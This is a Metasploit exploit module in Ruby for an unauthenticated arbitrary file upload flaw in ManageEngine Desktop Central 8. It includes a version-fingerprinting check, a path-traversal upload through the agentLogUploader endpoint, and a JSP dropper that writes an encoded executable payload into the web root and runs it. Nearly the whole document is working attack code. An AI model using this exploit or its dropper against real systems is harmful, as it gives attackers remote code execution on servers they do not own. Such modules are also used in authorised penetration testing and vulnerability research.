require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit:: EXE
include Msf::Exploit::FileDropper
def initialize(info = {})
super (update_info(info,
'Name' => 'DesktopCentral AgentLogUpload Arbitrary File Upload' ,
'Description' => %q{
This module exploits an arbitrary file upload vulnerability in DesktopCentral 8 . 0 . 0
below build 80293 . A malicious user can upload a JSP file into the web root without
authentication, leading to arbitrary code execution.
},
'Author' =>
[
'Thomas Hibbert <thomas.hibbert[at]security-assessment.com>'
],
'License' => MSF_LICENSE ,
'References' =>
[
],
'Platform' => 'win' ,
'Arch' => ARCH_X86 ,
'Targets' =>
[
[ 'Manage Desktop Central 8 server / Windows' , {} ]
],
'Privileged' => true ,
'DefaultTarget' => 0 ,
'DisclosureDate' => 'Nov 11 2013'
))
register_options([Opt:: RPORT ( 8020 )], self . class )
end
def upload_file(filename, contents)
res = send_request_cgi({
'uri' => normalize_uri( "agentLogUploader?computerName=DesktopCentral&domainName=webapps&customerId=..&filename=#{filename}" ),
'method' => 'POST' ,
'data' => contents,
'ctype' => "text/html"
})
if res and res.code == 200 and res.body.to_s.empty?
return true
else
return false
end
end
def check
res = send_request_cgi({
'uri' => normalize_uri( "configurations.do" ),
'method' => 'GET'
})
if res and res.code == 200 and res.body.to_s =~ /ManageEngine Desktop Central 8 / and res.body.to_s =~ /id= "buildNum" value= "([0-9]+)" \/>/
build = $1
print_status( "Manage Desktop Central 8 build #{build} found" )
if build < "80293"
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
res = send_request_cgi({
'uri' => normalize_uri( "agentLogUploader" ),
'method' => 'POST'
})
if res and res.code == 200
return Exploit::CheckCode::Detected
end
return Exploit::CheckCode::Safe
end
def exploit
print_status( "#{peer} - Uploading JSP to execute the payload" )
exe = payload.encoded_exe
exe_filename = rand_text_alpha_lower( 8 ) + ".exe"
dropper = jsp_drop_and_execute(exe, exe_filename)
dropper_filename = rand_text_alpha_lower( 8 ) + ".jsp"
if upload_file(dropper_filename, dropper)
register_files_for_cleanup(exe_filename)
register_files_for_cleanup( "..\\webapps\\DesktopCentral\\#{dropper_filename}" )
else
fail_with(Exploit::Failure::Unknown, "#{peer} - JSP upload failed" )
end
print_status( "#{peer} - Executing payload" )
send_request_cgi(
{
'uri' => normalize_uri(dropper_filename),
'method' => 'GET'
})
end
def jsp_drop_bin(bin_data, output_file)
jspraw = % Q |<%@ page import= "java.io.*" %>\n|
jspraw << % Q |<%\n|
jspraw << % Q | String data = "#{Rex::Text.to_hex(bin_data, " ")}" ;\n|
jspraw << % Q |FileOutputStream outputstream = new FileOutputStream( "#{output_file}" );\n|
jspraw << % Q |int numbytes = data.length();\n|
jspraw << % Q |byte[] bytes = new byte[numbytes/ 2 ];\n|
jspraw << % Q | for (int counter = 0 ; counter < numbytes; counter += 2 )\n|
jspraw << % Q |{\n|
jspraw << % Q | char char1 = (char) data.charAt(counter);\n|
jspraw << % Q | char char2 = (char) data.charAt(counter + 1 );\n|
jspraw << % Q | int comb = Character.digit(char1, 16 ) & 0xff;\n|
jspraw << % Q | comb <<= 4 ;\n|
jspraw << % Q | comb += Character.digit(char2, 16 ) & 0xff;\n|
jspraw << % Q | bytes[counter/ 2 ] = (byte)comb;\n|
jspraw << % Q |}\n|
jspraw << % Q |outputstream.write(bytes);\n|
jspraw << % Q |outputstream.close();\n|
jspraw << % Q |%>\n|
jspraw
end
def jsp_execute_command(command)
jspraw = % Q |\n|
jspraw << % Q |<%\n|
jspraw << % Q |Runtime.getRuntime().exec( "#{command}" );\n|
jspraw << % Q |%>\n|
jspraw
end
def jsp_drop_and_execute(bin_data, output_file)
jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file)
end
end
|